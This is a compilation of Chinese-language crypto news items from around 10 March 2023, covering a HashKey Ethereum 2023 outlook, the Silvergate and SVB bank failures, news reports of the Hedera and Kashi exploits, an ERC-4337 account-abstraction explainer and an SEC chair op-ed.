    作者：HashKey Capital 上海升级：成功开放提款，将打消潜在质押者的安全顾虑，因 此预计 staking 的量会上升。同时，staking 项目的竞争也会更加激烈； 坎昆升级：升级内容可能还会有所变化，但会是 2023 年以太坊 最重大的技术升级。 以太坊在 2023 年为未来技术发展的准备 KZG Ceremony：已经在 2023 年 1 月份成功开启，为 Proto- danksharding 提供了技术（密码学）基础。 接下来将制定 Danksharding 的标准，解决存在的技术障碍。 尽管 Danksharding 大概率不会在 2023 年发生，但其升级成功后, 将标志着以太坊扩容之路的成功。 符合 OFAC 区块数量 ( 来源：mevwatch.info) 以太坊合并、上海升级后，Staking 赛道将在 2023 年迎来更多发展 Liquid Staking： 如何改善质押代币的流动性，目前能看到比较成功的实践是 stETH,随着上海升级的进行，不同质押方案将陆续出现， 其流动性方案将会成为质押方案成功的关键。 Decentralized Staking： 目前存在一些去中心化质押的产品和方案，但例如 RocketPool 等流动性过差，需要想办法改进。 Restaking： EigenLayer 提出的「二次质押」的想法，作为一个很不错的 创新受到了社区的关注，但是 同时该方案也有可能危害以 太坊协议层的安全。 DVT （去中心化验证者网络）： SSV 和 Obol 正在探索去中心化验证者的技术方案，这是质押 去中心化发展的重要一步。 质押收益稳定化： 当前不同质押节点收益差距过大，需要收益稳定化解决方案。 以太坊验证节点数量（来源:stakingrewards.com） 以太坊多版本客户端值得关注 Paradigm 的 Reth:采用了模块化客户端的设计思路，方便开发者组合其中的组建以达到更好的开发效果。 al6z 的 Helios：采取了和目前多数客户端完全不同的思路，Helios 将执行层与共识层客户端耦合在一起，其效果值得观察。 各户晰数据，来源：Ethernodeso 浏览器：为了解决 Etherscan 的中心化问题，目前社区开始基于新型客户端开发自托管区块链 浏览器，效果值得关注。 除了路线图等老生常谈的内容外，2023 年初以太坊社区也有了更多较新的话题讨论，主要包括隐形地址 Stealth Address (EIP-5564) 、基于格的密码学技术 (Lattice-based Cryptography) 等，但具体在以太坊基础设施和应用上的落地仍有待 2023 年的观察。 来源：An incomplete guide to stealth addresses, 作者:Vitalik Buterino 模块化区块链技术仍是 2023 年的技术热点之一 模块化区块链在 2023 年将可能在多个层面和方向上有所进展。 数据可用性层上的新竞争者: 除了 Celestia 外，2023 年将有更多竞争者参与到 DA 赛道中，包括 Polygon Avail 等。其他一些有意思的探索包括: 更灵活高效的的执行层：   Layer2 优化方案 AltLayer 采用了模块化 Rollup 的思路，与 Cosmos 应用链的思路异曲同工 OP； Stack：将支持开发者快速搭建和启动 Layer2； Stackr、dymension：「Build Your Own Rollup」，快速构建应用专有 Rollup。 解决 Sequencer 中心化的问题 Proof of Efficiency 的去中心化 Sequencer 设计（来源：Polygon Hermez 在 ETH Research 发布内容） 更多的 Layer2 以及「subnet」、Layer3 通过构建 Layer2「子网」的方式来建立生态将会更加普遍。以往生态中应用链的竞争，可能会进一步延续到「子网」的竞争中。 比较值得关注的包括：Avalanche (Subnet)、Binance Chain (Beacon Chains zkBNB、Sidechains、Greenfield) 以及从 meme 转变为 Layer2 生态的 Shiba。 L3 以支持区块链更大规模的扩容与采用,与 Rollup 模块化有着类似的目的，但是完全不同的解决办法。基于 Layer2,提供进一步实现纵向扩容的开发工具和执行环境。 例如 Starknet 的 Slush、zkSync 的 Opportunity 等。 来源：A Comparison of Heterogeneous Blockchain Networks zkEVM 主网上线但技术成熟有待时间 zkEVM 无疑是 2023 年最为值得关注的扩容进展之一。2023 年会有不少测试网甚至主网上线。包括 ConsenSys zkEVM、Polygon Hermezs Scroll。 但技术的成熟（EVM 兼容等）可能仍需要一定时间。 另外，支持 zkEVM 证明的硬件（ASIC）估计需要到 2023 年底会出现相对成熟可用的产品。 不同兼容度的 zkEVM （来源：Vitalik Buterin 博客） 但 ZK 应用值得期待 ZK 在其他领域内的应用在 2022 年有了长足进展并大概率将在 2023 年 延续，特别是 zkBridge —种 zkBridge 的设计方式 ( 来源 : Succinct Labs) 跨链的其他趋势：多链应用,MEV,链间安全等 多链 ( 全链 ) 和跨链应用将更多： 跨链 MEV 将很可能重演在单体链上的发展，2023 年值得关注的包括定制化节点共识层的方案例如 Skip Protocol 等定制化 Tendermint 以及 Cosmos 2.0 修改协议层等方案。 另外，随着 Layer2 的成熟，Layer2 与 Layer!的 MEV 问题将会愈发凸显。Layer2MEVI 具也将随 Layer2 的成熟而完善。 链间安全 (Interchain Security) : Cosmos 将在 2023 年实现的共享安全方案。restaking 方案思路也与该方案类似，利用 staking 提供更多服务。 MPC (TSS) 将很可能成为标配：MPC 用于 TSS ( 门限签名 ) 已较为成熟，将支持托管、用户无助记词等更多应用场景。 AA ( 账户抽象 ) 的一些设计 (EIP4337) 已经接近完成，代码开发进展顺利将在 2023 年成熟；与 MPC 的结合后的钱包产品将非常 值得期待 闪电网络上的支付、金融服务等应用在 2023 年将有更多有想象空间的发展: 另外，Proto-danksharding 之后的 L2 支付方案也将在降低成本和提升效率上更上一个档次。 值得期待的新的编程语言与新生态 新的开发者工具为下一个行业周期积累技术   附：2023 年部分值得关注的主网上线 / 升级发布  ( 7 min )
    Meta正探索用于文本更新的去中心化社交网络应用程序
    PANews 3月10日消息，据路透社报道，Meta Platforms Inc (META.O)发言人周五表示，该公司正在探索一个独立的去中心化社交网络，用于共享文本更新，这可能是马斯克的Twitter的直接竞争对手。Meta发言人在一封电子邮件声明中表示：“我们正在探索一个独立的去中心化社交网络来分享文本更新。我们相信有机会创造一个独立的空间，让创作者和公众人物可以及时分享他们的兴趣。” 当天早些时候，印度商业新闻网站Moneycontrol.com首先援引消息人士的话报道了这一消息。该报道称，Meta的新内容应用程序将支持ActivityPub，这是一种去中心化的社交网络协议，为Twitter的竞争对手Mastodon和其他联合应用程序提供支持。Meta的新应用程序将采用Instagram品牌，并允许用户通过他们的Instagram账号注册或登录。  ( 4 min )
    美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉
    PANews 3月10日消息，据CoinDesk报道，美国司法部 (DOJ)于周四晚间提起上诉，质疑纽约破产法官允许Binance.US以数十亿美元收购破产加密借贷平台Voyager Digital资产的决定。 该上诉由美国受托人办公室（司法部负责监督破产的一个部门）提出，就在法官Michael Wiles经过为期四天的听证会后批准该交易的一天后。 此前今日早些时候消息，Voyager债权人表示，反对任何针对法院批准Binance.US收购的上诉。  ( 4 min )
    复盘Silvergate与硅谷银行危机：流动性盛宴上大快朵颐，美元荒时代中崩盘祭旗
    原文：《解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌》 作者：0xmin 美国中小银行接连暴雷！ 3 月 8 日，以加密货币友好著名的银行 Silvergate Bank 宣布清盘，将所有存款退还客户。 3 月 10 日，专门为硅谷科技公司提供金融服务的硅谷银行(Silicon Valley Bank) 出售 210 亿美元的可销售证券，遭受了 18 亿美元的亏损，疑似存在流动性问题，周四股价暴跌超过 60%，市值一日蒸发 94 亿美元。 这也吓坏了一众硅谷大佬。 “硅谷教父”彼得蒂尔的风投基金 Founders Fund 直接建议投资的公司从硅谷银行撤资，Y Combinator CEO Garry Tan 也发出警告，建议被投企业考虑限制对贷方的敞口，最好不要超过 25 万美元…… 更可怕的是，硅谷银行或是酿成危机的第一块多米诺骨牌，不仅影响其他美国银行，更可能对硅谷的科技初创公司带来打击。 究竟发生了什么？ 今天，我们将讲述一个关于银行如何破产的故事。 首先，我们需要了解银行业的商业模式。 简单来说，商业银行就是一家经营货币的公司，银行的商业模式，和其他生意在本质上没有区别——低买高卖，只是这个商品变成了金钱。 银行从存款人或者说资本市场那里拿到钱，然后把它贷给借款人，从利息差里面获利。 比如：一家银行以年利率 2% 从存款那里借到钱，然后把它以年利率 6% 贷给借款人，银行就赚了 4% 的息差，这就是净利息收入。此外，银行还可以从基本的收费业务和其他服务中赚取利润，这就是非利息收入。净利息收入和非利息收入加在一起，构成了银行的净收入。 因此，银行想要获得更多利润的话，和销售商品一样，最好的状态是无库存，也就是把低成本吸收进来的存款全部高价贷出去，毕竟存款都是有成本的，需要给储户利息。 这也构成了银行资产负债表的两端。 所有者权益 + 负债：所有者权益就是股本，客户放在银行的存款，本质是银行找客户借的，属于负债。对于银行而言，负债也就是存款越多越好，成本越低越好。像 Silvergate 这样主打加密友好的银行主要通过提供 SEN 网络这种独特的服务来吸收到了来自加密世界大公司的存款。 资产：与存款对应，银行发放给客户的贷款，就是银行的债权，属于资产，包括各类抵押贷款，面向普通消费者的信用贷款，各类债券，如国债、市政债券、抵押支持证券（MBS）或高评级公司债券。 那么，商业模式如此简单的银行是如何走向“破产”的呢？ 当银行遭遇危机，也就意味着资产负债表出现了问题，通常有两种情况：坏账；期限错配。 举个例子，你这个月 1 号要交房租了，但是你的唯一现金流收入是这个月 10 号发放的工资，你的现金流入流出不匹配了，就出现了期限错配，也就是流动性危机。这时候怎么办呢？要么，你把手里的资产，比如股票、基金、加密货币等卖了换成现金，要么找朋友借点钱，应付一下当前的危机。 回归到 Silvergate 和硅谷银行，期限错配才是他们陷入危机的原因。 不仅是这两家银行，此前陷入危机的各类加密独角兽们，Celsius 、币印、AEX 等都是因期限错配导致的流动性危机而破产。 归根究底，这背后都与美联储加息相关，他们都是美元周期下的尸体。 成立于 1986 年的 Silvergate Capital Corp（股票代码：SI）是一个位于美国加州社区零售银行，几十年来一直保持沉寂，直到 2013 年 Alan Lane 决定进入加密行业。 Silvergate Bank 主打的标签是，一个对加密货币非常友好的银行，不仅接受加密交易平台和交易者的存款，还为加密货币结算建立了自己的加密结算支付网络 SEN（Silvergate Exchange Network），帮助交易所和客户更好的进行出入金，成为连接法币和加密货币的重要桥梁，比如 FTX 就一直使用 SEN 用于法币出入金。 截至 2022 年 12 月，Silvergate 总共有 1620 个客户，其中包括 104 家交易所。 当加密牛市到来，大量资金进入，来自加密行业的客户存款急剧增加，特别是由于 SEN 的存在，导致大量交易所的资金不得不沉淀在 Silvergate。 从 2020 年三季度到 2021 年四季度，Silvergate 存款直接从 23 亿美元飙升至 143 亿美元，增长接近 7 倍。 加密货币友好以及加密牛市，让 Silvergate 负债端也就是存款急剧扩张，但是这倒逼该公司不得不去“买资产”，发放贷款周期太长，而且这也不是 Silvergate 的优势，于是他选择在 2021 年期间购买了数十亿美元的长期市政债券和抵押支持证券（MBS）。 截至 2022 年 9 月 30 日，该公司的资产负债表显示约 114 亿美元的债券，此外，贷款仅有约 14 亿美元。所以，Silvergate 本质上是一家在加密世界和传统金融市场套利的“投资公司”：靠银行牌照和 SEN 从加密机构低息甚至零息吸收存款，再去买债券，赚取中间差价收益。 廉价的存款与优质的资产并存，一切看起来都很美好，直到 2022 年，两只黑天鹅来临。 2022 年，美联储进入疯狂加息模式，利率迅速上升，导致债券价格下降。 金融产品有一个恒等式，今天的价格*利率=未来的现金流，债券的特点是已经设定了到期还本付息的金额，未来现金流是不会变的，所以利率越高、今天的价格就越低。 截至 2022 年第三季度末，Silvergate 持有的证券账面价值已经出现了超过 10 亿美元的未实现损失。 此外，在加密牛市期间，财大气粗的 Silvergate 于 2022 年初收购了 FaceBook 烂尾的稳定币项目 Diem，股票加现金总计接近 2 亿美元。到了 2023 年一月 ，Silvergate 披露，其在 2022 年第四季度计提 1.96 亿美元的减值费用，减计了去年初从 Diem Group 收购的知识产权和技术的价值，相当于曾经的 2 亿美元全部打了水漂。 总之， Silvergate 在泡沫顶点买了太多高价资产，但是这种情况下，只要负债表不出问题，也可以安全着陆，但偏偏这个时候，Silvergate 的超级大客户 FTX 暴雷。 2022 年 11 月，FTX 宣告破产，恐慌情绪下，Silvergate 的储户开始疯狂提款。 在 2022 年第四季度，Silvergate 的存款下降了 68％，提款超过 80 亿美元，这种情况就是我们常说的银行挤兑。 流动性危机来临，为了应对存款人的赎回，Silvergate 别无选择，要么借钱，要么卖资产。 首先， Silvergate 被迫在 2022 年四季度和今年一月出售此前购入的高价证券从而获得流动性，带来的结果是造成了约 9 亿美元的证券损失，这相当于其股本的 70%。 此外，Silvergate 通过从旧金山联邦住房贷款银行借入43 亿美元，获得了部分现金，该银行是一家政府特许机构，主要业务是向急需现金的银行提供短期担保贷款。 后来的事情，大家也知道了，3 月 9 日，Silvergate Bank 坚持不住宣布清盘，称根据适用的监管程序有序地逐步结束运营并自愿进行清算，将会全额偿还所有存款。 如果你理解了 Silvergate Bank 的危机，那么硅谷银行（SVB）的流动性危机也几乎一样，只是硅谷银行规模和影响力更大。 硅谷银行一直是硅谷科技和生命科学初创公司中最受欢迎的金融机构之一，一旦硅谷银行暴雷，不可避免会影响到各类初创企业，带来科技与金融的双重危机。 事件的导火索是，SVB 以“跳楼大甩卖”的方式抛售了 210 亿美元的债券，造成 18 亿美元实际亏损，于是 SVB 表示，将通过出售股票的方式筹集 23 亿美元，以弥补与债券出售相关的损失。 这一下子把各路硅谷风投机构吓坏了。 “硅谷教父”彼得蒂尔的风险投资基金 Founders Fund 直接建议投资的公司从硅谷银行撤资；Union Square Ventures 告诉投资组合公司“只在 SVB 现金账户中保留最少的资金”； Y Combinator CEO Garry Tan 警告其被投初创公司，硅谷银行的偿付能力风险是真实存在的，并暗示他们应该考虑限制对贷方的敞口，最好不要超过 25 万美元； Tribe Capital 建议众多投资组合公司：如果无法彻底从硅谷银行提取现金的话，也要撤走部分资金。 于是，银行挤兑来临，硅谷银行陷入更深的流动性危机。 我们来分析一下其资产和负债。 但是，如今科技创投市场变得不景气，特别是 IPO 市场在过去一年十分冷清，SVB 的存款持续下降，以及对于储户而言，直接购买美债是一个性价比更高的选择。 当利率处于低位时，美国的大银行还是将更多的存款放在政府债务上，在经济不确定的时期接受较低的收益率。硅谷银行以为利率会长期低下去，为了更高收益率，将大部分存款投入到了 MBS 中。 截至 2022 年底，SVB 拥有 1200 亿美元的投资证券，其中包括 910 亿美元的抵押贷款支持证券组合，远远超过了 740 亿美元的贷款总额。 根据 SVB 公开的资料，该公司出售的 210 亿美元的债券投资组合收益率为 1.79%，久期为 3.6 年。对比一下，3 月 10 日，3 年期美国国债收益率为 4.4%。 随着利率飙升，债券价格下跌将造成硅谷银行的亏损。 硅谷银行持有 910 亿美元的债券组合持有至到期，如今市场价值仅为 760 亿美元，相当于 150 亿美元的未实现亏损。 SVB 首席执行官 Greg Becker 接受媒体采访时曾表示：我们预计利率会上升，但没有想到会像现在这么多。 总体上，Silvergate 和 SVB 的困境主要是对美联储加息节奏的误判，带来错误的投资决策，梭哈债券一时爽，美元加息难收场。 *深潮 TechFlow 是由志愿者和实习生驱动的深度Blockchain内容平台，致力于提供有价值的信息，有态度的思考。  ( 6 min )
    Hedera：黑客攻击了主网智能合约服务代码，正在研究解决方案
    PANews 3月10日消息，Hedera披露攻击细节，攻击者对Hedera主网的智能合约服务代码进行攻击，将部分用户账户持有的Hedera Token Service代币转移到自己的账户中。攻击者的目标是在多个DEX上用作流动性池的账户，这些DEX使用Uniswap V2派生的合约代迁移过来使用Hedera Token Service，包括Pangolin Hedera、SaucerSwap和HeliSwap。当攻击者将通过攻击获得的代币移动到Hashport Network Bridge时，Bridge运营者检测到该活动并迅速采取行动将其禁用。 为了防止攻击者窃取更多代币，Hedera已关闭主网代理，这会移除用户对主网的访问权限。Hedera团队已确定问题的根本原因并正在研究解决方案。 一旦解决方案准备就绪，Hedera委员会成员将签署交易以批准在主网上部署更新代码以消除此漏洞，届时将重新开放主网代理并允许恢复正常活动。 此前昨日消息，Hedera官方披露其智能合约出现异常状况并正进行调查，今日早些时候消息，Hedera称已关闭主网网络代理。  ( 4 min )
    Immutable X联创：公司对Silvergate和硅谷银行没有风险敞口
    PANews 3月10日消息，NFT二层扩展解决方案Immutable X联合创始人联合创始人Robbie Ferguson发推称，“Immutable X对Silvergate和硅谷银行（SVB）没有敞口，我们在银行持有2.8亿澳元现金（约合1.84亿美元），从不使用金融杠杆。” 此前今日早些时候消息，硅谷银行母公司SVB Financial Group股价周四暴跌逾60%，盘后进一步下跌近20%。硅谷风投教父Peter Thiel等数十家风投建议从其撤出资产。  ( 4 min )
    ETHDenver大佬们详解“账户抽象”的未来：如何吸引下一个10亿用户？
    原文：《‘Account abstraction’ supercharges Ethereum wallets: Dummies guide》by Andrew Fenton 编译：Katie 辜 多年来，比特币支持者一直在重复“做自己的银行”（be your own bank）这句话。但事实上，在钱包中存储任何类型的加密货币都与把现金藏在床垫下无异，这份“不会增值的单纯”与银行这样的复杂金融机构有很大距离。 DeFi 是一种进步。加密货币可以在几分钟内在全球范围内转移，而且有区块链技术的保护。但也远不如银行那么“用户友好”，提供的功能并不齐全。即使清楚设置钱包的复杂过程，密码也可能被盗，你也有可能会永远失去助记词和钱包里的“家产”。 这一切都将随着最近在ETHDenver上意外宣布以太坊上的“智能账户”(也被称为“账户抽象”)，以及与以太坊虚拟机（EVM）兼容的所有其他链而改变（EVM是负责执行基于以太坊的智能合约的软件）。现在可以利用智能账户的链包括Polygon、Optimism、Arbitrum、BNB智能链，Avalanche和Gnosis链。 经过多年的“酝酿”，新的ERC-4337标准将加密钱包转变为包含银行所有功能的产品。以太坊基金会安全研究员Yoav Weiss表示：“加密钱包提供了与银行相同的功能，而无需信任银行。”Yoav Weiss与 V 神共同撰写了以太坊改进提案（EIP）。 “账户抽象将是吸引下一个十亿用户的一种方式。” 帐户抽象优点包括双重身份验证、在手机上签署交易、设置账户每月支出限额、使用会话密钥玩区块链游戏而无需经常审批交易、钱包的去中心化恢复、智能账户可以配置为自动支付账单和订阅等。 Ledger的联合创始人Nicolas Bacca表示对这项技术的潜力印象深刻，他认为帐户抽象将彻底改变加密用户的体验。 帐户抽象时间轴（Yoav Weiss） 帐户抽象是什么意思？ 帐户抽象是一个复杂的技术术语，用于描述某些实际上非常友好的东西。Weiss和zkSync希望用更具描述性的术语“智能账户”来取代它。 Weiss说道：“帐户抽象是一个令人困惑的术语。这些账户是从网络中抽象出来的，它们不是从用户中抽象出来的。用户使用的是一个非常具体的钱包，它能做非常具体的事情。从用户的角度来看，更像是使用一个智能账户。” MetaMask的高级产品经理Alex Jupiter表示“帐户抽象”对于不同的开发者来说意义不同。在某种程度上，包括StarkWare和zkSync在内的非EVM扩展解决方案在协议本身中实现了ERC-4337的修改版本，而以太坊达到了标准化。 Weiss解释道：“我们提出了一个可以在任何地方都可以运行的标准，重点是互操作性和碎片整理（defragmentation），它可以在协议级别上更有效地实现，例如通过rollup。” 有人提出了将智能账户添加到协议中的各种提案（EIP），但这需要硬分叉，并且没有得到足够的支持，因为它们会分散人们对更重要的升级的注意力，比如Merge。 通过在本网实现（native implementation）将所有用户帐户升级为智能帐户，而以太坊的新标准要求用户设置新帐户。Weiss解释说：“未来要实现所有账户的升级，不可避免地会出现硬分叉，但出现这种情况还需要很长时间。” 采用智能账户的最大好处之一是它允许新用户“丝滑”加入去中心化的加密世界，而无需担心复杂的助记词或理解设置钱包的技术过程。他们只需使用指纹或面部扫描仪，通过智能手机应用程序即可开设智能账户。 虽然目前有大量的加密钱包可作为智能手机应用程序使用，但它们存在许多安全风险，由于存在黑客攻击风险，因此这些钱包不适合持有大量加密货币。但由于智能账户能够将加密私钥存储在手机的硬件安全模块上，因此手机钱包现在几乎可以像硬件钱包一样安全。 我们在以色列特拉维夫的StarkWare会议上为新手们演示了使用过程，游戏钱包Cartridge在那里分发了限量版BriqNFT。整个过程不到30秒，完全直观。用户扫描二维码，选择用户名，然后使用手机指纹扫描仪创建私钥。 现有的加密用户需要重新审视他们眼中真正的加密钱包的定义，以及访问钱包的方式。非托管的Cartridge Controller实际上是一个基于Web的钱包，与StarkNet交互。它没有使用常规私钥，而是使用了安卓或苹果的“私钥”。这两种“私钥”都是基于网络认证标准（WebAuthn），这是一种使用公钥加密（public-key crytography）对Web应用程序的用户认证进行标准化的尝试。 StarkWare会议上的Cartridge钱包展示（推特） 虽然网络钱包对长期加密货币用户来说听起来是个可怕的提议，但Ledger的联合创始人Nicolas Bacca对Cartridge网络钱包印象深刻，并表示Ledger正在构建一个类似的基于网络的钱包，他表示有网络认证的“加持”，该钱包是安全的。 使用智能手机作为硬件钱包有几个问题。智能手机的屏幕存在安全风险，因为可能会被黑客入侵，诱使用户批准交易。然而，这种风险是可以降低的，因为智能账户允许用户为更高价值的交易（例如使用硬件钱包）设置需要双重身份验证的权限，或者从账户中设置每日、每月或每年的支出限制。 Ledger的联合创始人Nicolas Bacca表示Ledger现在正在试验这种功能。他说：“例如，当你只想购买小额商品时，你可以使用手机。当你想购买大额商品时，你可以使用硬件钱包，这些都可以在账户中编写脚本。我们正在为此设计一个Web应用程序的原型。” 在以太坊上使用智能手机钱包的一个更大的问题是，安全模块使用了不同于加密的加密签名系统（椭圆曲线）。有了智能账户，这两个系统最终可以相互对话，但这需要大量的操作和高昂的gas费。 StarkNet基于智能手机的Braavos钱包的创始人Motty Lavie表示要利用智能手机的安全模块，需要24万个计算步骤：“在以太坊上要实现这一点，每笔交易都会非常昂贵。在StarkNet上，这是一个边际成本，交易费将只增加几美分，这使其变得可行。” 然而，高得离谱的gas费用是以太坊独有的问题，而在所有其他EVM区块链和Layer 2上，gas成本都非常低，足以让智能手机钱包正常工作。各个团队也在研究该过程的gas费优化版本。从长远来看，可以在以太坊中添加一个预编译程序，使该过程成为廉价的EVM操作，而不是使用智能合约（预编译的合约在不使用大量带宽的情况下可执行常见的加密功能。） 以太坊基金会安全研究员Yoav Weiss表示：“当这些钱包获得吸引力，加强了用户粘性，用户习惯了这种强大的可用性时，推动以太坊本身的这种变化将变得更加容易。如果我们能添加这个预编译，它将改变生态系统的游戏规则。” 帐户抽象时间轴（Yoav Weiss） 如何恢复你的帐户？ 对于不相信云端的加密用户，智能账户还提供了其他非助记词的恢复账户的选项。如果用户丢失了手机，锁定时间的社交恢复意味着有一群值得信赖的朋友，甚至是一项商业服务可以帮助他们找回手机，而不会使资金处于危险之中。 Weiss解释说：“你永远不用担心失去银行账户的权限。如果你丢失了密码，你可以随时打电话给银行，他们会验证你的身份并重置你的密码。你可以使用一种恢复服务，重置手机和钱包的密码，但他们无法偷你的钱包，只能帮你找回它。” StarkWare Sessions Braavos Wallet 联合创始人Motty Lavie（推特） Braavos采用了一种锁定时间的恢复过程，包括创建助记词。与普通的助记词不同，这个助记词只能在四天后提交重新访问帐户的请求。 他补充说：“智能账户优点是，如果你的手机真的丢了或坏了，你可以在四天内重新控制你的账户。如果黑客偷走了你的助记词，你会自动收到有人控制了你的账户的通知。”他指出在黑客获得资金之前，用户有足够的时间提取资金。” Braavos还致力于使用零知识证明将助记词“隐藏起来”，他认为这将是UX（用户体验）方面的重大举措。 Bacca解释说，Ledger已经在与Argent和Cartridge合作开发“插件”，使StarkWare中的玩家能够设置会话私钥，大量低价的交易将自动完成，这样他们就不必费力地批准每一个交易。 他表示：“你可以在你的账户上加载一小段代码，这样它就会修改它在特定游戏中的表现方式。比如输入‘如果我要玩某款游戏’的代码，这样可以让交易自动签署一个小时。这就是为什么我认为帐户抽象将彻底改变加密用户体验的原因。”智能账户意味着游戏开发者可以决定成为“支付操作者”（paymaster），并支付交易费用以鼓励使用。 Jupiter解释说：“交易也可以捆绑在一起以节省gas费用。就像一个购物车场景，我要预订这10件商品，然后一次性付清。” MetaMask正在开发一个名为Snaps的新功能，它将钱包的新功能进行外包（crowdsource）开发。这可能会使智能账户的创新性使用成为可能。智能账户的Snap是在ETH India开发的，它获得了“最佳ERC-4337工具”的称号。 早在去年12月，Visa的加密研究团队就发表了一篇论文，展示了如何使用StarkWare上的智能账户从自我保管的加密钱包中自动支付抵押贷款、电视订阅费和水电费。 他们举了一个假设的例子，有人去度假但还未支付费用，在两周后收到工资后，自动从加密钱包中支付旅游账单。当然，你已经可以通过银行账户或托管钱包做到这一点，但这两者都需要信任中心化服务。这篇论文解释说，在以太坊上做到这一点的困难在于它有两种类型的账户：用户账户（也称为外部拥有的账户，或EOA）和智能合约账户。 Visa Crypto解释说：“一个由私钥控制的用户帐户可以发送交易，智能合约有可以执行的相关代码，但是智能合约不能自己发起交易。交易必须始终来自用户帐户，并由用户签名。” Visa Crypto设计了一种从加密账户自动转账账单的方法。来源：Visa官网 因此，如果你每两周用加密货币支付一次，你必须在资金存入钱包后手动启动“推送”（Push）交易来支付每笔账单。智能账户使得由记账人发起的“固定自动”付款成为可能。例如，一家电力公司可以在其网站上建立一个自动支付智能合约，并列出其功能。例如，它每个月只能发起一笔交易，并设定其将收取的最高金额。然后，用户可以通过他们的智能账户批准这些有条件限制的“固定自动”支付，从而在他们的双周工资到来后实现自动账单支付。 突然之间，加密技术成为一系列新的支付应用程序中的技术亮点。 Bacca创建了世界上第一个比特币钱包，并认为比特币已经让用户“成为自己的银行”。但他补充说：“手握金钱大权，但却不能用这些钱做些什么，这是目前加密钱包的常态，智能账户在加密钱包中的‘定期付款’的应用是让他感到兴奋的原因之一。”基本上，如果你订阅了一项服务，然后钱包就会开始在一段时间内直接发送与订阅金额相匹配的资金。 “如果你可以为你的账户编写脚本，你会想到更多的用例，这些用例与我们在Web2中所做的类似。” 帐户抽象时间轴。来自Yoav Weiss。 ERC-4337如何运行？ 智能账户支持的一些功能已经通过Gnosis和Argent的智能合约钱包实现。然而，这些解决方案需要中心化组件relay（中继器）为操作支付交易费用。以太坊上的新ERC-4337标准将这一部分以及称为“bundlers”（捆绑器）的新的去中心化基础设施“去中心化”。 过程：一个智能钱包签署一个“用户操作”，该操作被触发到一个特殊的内存池（mempool），这基本上只是一个有组织的交易队列（尽管与以太坊的正常内存池不同）。“捆绑器”就像矿工或验证者，从内存池中获取用户操作，并将所需的结果发送回钱包。捆绑器还支付所需的gas交易费，并由用户的合约账户或被称为“支付操作者”（paymaster）的第三方支付。这可能是一个去中心化的应用程序，也可能是一个钱包提供商。 在主网上部署的第一个生产级捆绑器来自钱包和基础设施提供商Stackup，但很快会有更多的捆绑器投入使用。由于其去中心化和免许可的性质，任何人都可以运行捆绑器。  ( 4 min )
    火必回应：“Poloniex多部门将并入火必”的消息不属实
    PANews 3月10日消息，经PANews向火必核实，“Poloniex多部门将并入火必”的消息不属实，其PR相关负责人对此做出了回应。 此前今日早些时候消息，Chaincatcher报道称，知情人士披露的火必全员信显示，加密货币交易平台Poloniex多部门将并入火必。  ( 4 min )
    孙宇晨已将1亿枚USDC作为流动性基金转移至火必
    PANews 3月10日消息，Whale Alert数据显示，100,000,000枚USDC从孙宇晨钱包地址转移到火必。孙宇晨也发推证实此事。 此前今日早些时候消息，孙宇晨表示，火必将全额承担HT市场波动所导致杠杆穿仓损失，并将出资1亿美元成立流动性基金。  ( 4 min )
    用户反应无法从Kashi中提款，且旧预言机被利用导致用户资金受损
    PANews 3月10日消息，有用户向PANews反应，SushiSwap旗下借贷产品Kashi内的用户资金无法提取，且有用户在1月初在Sushi治理论坛上发布提案，称有人利用预言机不更新价格，导致抵押品价值降低。该用户提议用金库补偿损失，并预计此次预言机利用事件总损失可能在2万到3万美元之间，他认为考虑到Sushi获得了Kashi部分利润，并且故意将被黑的Kashi池在线保留了几个月，因此Sushi负有一些责任。不过该提案直至现在仍被搁置。 此外，派盾今日在推特上披露了一笔Kashi于7个多小时前旧预言机被利用的交易，并提醒SushiSwap，但如今日早些时候消息所述，SushiSwap表示，Kashi去年12月已被弃用，请用户尽快取款，以作为对此次事件的回应。  ( 4 min )
    美SEC主席撰文：加密公司要么在法律范围内开展工作，要么就别做
    作者：美国证券交易委员会主席 Gary Gensler 编译：比推BitpushNews Mary Liu 当我在麻省理工学院教授关于区块链和货币的课程时，每个学期都会问学生一个问题：“在你们心中谁是中本聪”？ 时至今日，无人知晓。 中本聪的匿名身份是没有可信认第三方的新式金融的一部分–一种在互联网上转移价值的新方式，其目标是没有政府或银行等中央中介机构监督。 然而，自古以来，金融世界就建立在信任和法治之上。 此外，从银行到证券交易所，金融已经趋向于中心化、集中化和相互关联。 加密市场也不例外，它有许多“值得信赖的”（尽管不合规）中介。 如今，加密行业由少数交易、借贷、质押和其他金融中介机构主导，投资大众相信这些实体会对投资者的资产负责，据CryptoCompare整理的数据显示，三大加密交易平台据称占所有交易量的近四分之三。 加密企业家可能会在他们自己的营销PPT中声称他们是透明和受监管的。 但请不要误解：很少一部分（如果有的话）参与者真正在美国证券交易委员会（SEC）注册并完全遵守联邦证券法。 缺乏合规性会使投资者来之不易的资产面临风险。 投资者缺乏关于加密资产本身以及执行交易和托管资产的公司的基本信息披露：公司对客户资产做了什么？ 他们如何为承诺的回报提供资金？ 他们把手伸进了投资者的口袋吗？ 当您购买或出售代币时，您的对手方是不是一个交易中介？ 防止操纵和欺诈的规则是什么？ 没有披露和其他投资者保护，我们根本不知道。 整体来看，这些公司总是说“相信我们”。 更重要的是，当公司破产时（最近很多公司都破产了），他们会求助于破产法庭来解决他们的烂摊子。 考虑到中本聪的最初设想——从本质上讲，代码就是法律——这有点讽刺。 作为美国证券交易委员会主席，我在加密市场方面有一个目标：确保投资者和市场获得他们在任何其他证券市场中所能获得的所有保护。 首先，中介机构和代币应自行适当地合规。 加密中介的业务结构应符合我们监管证券交易所、经纪自营商和票据交换所的法律； 他们可以制定防止欺诈和操纵的规则手册。 加密证券发行方应提交注册声明并进行必要的披露。 这些是证券市场上其他参与者几十年来一直遵循的规则。 我认为证券法缺乏明确性这一论点没有说服力，一些加密公司可能会表示法律不够明确，而不是承认他们的平台没有足够的投资者保护。 我们已经很清楚，大多数由企业家背书的加密代币，以及其他特征，使它们很可能被归类为证券。 我们已经清楚借贷和质押平台如何受到证券法的约束。 我们已经明确表示，上市加密证券的平台必须在 SEC 注册。 此外，证券法明确规定，这些平台不得将功能组合在一个单一的保护伞下，这会给投资者带来冲突和风险。 提供交易、借贷或质押即服务的加密公司的一个共同特征是，它们通常要求用户将对其加密资产的控制权交给平台（不是你的密钥，不是你的代币）。 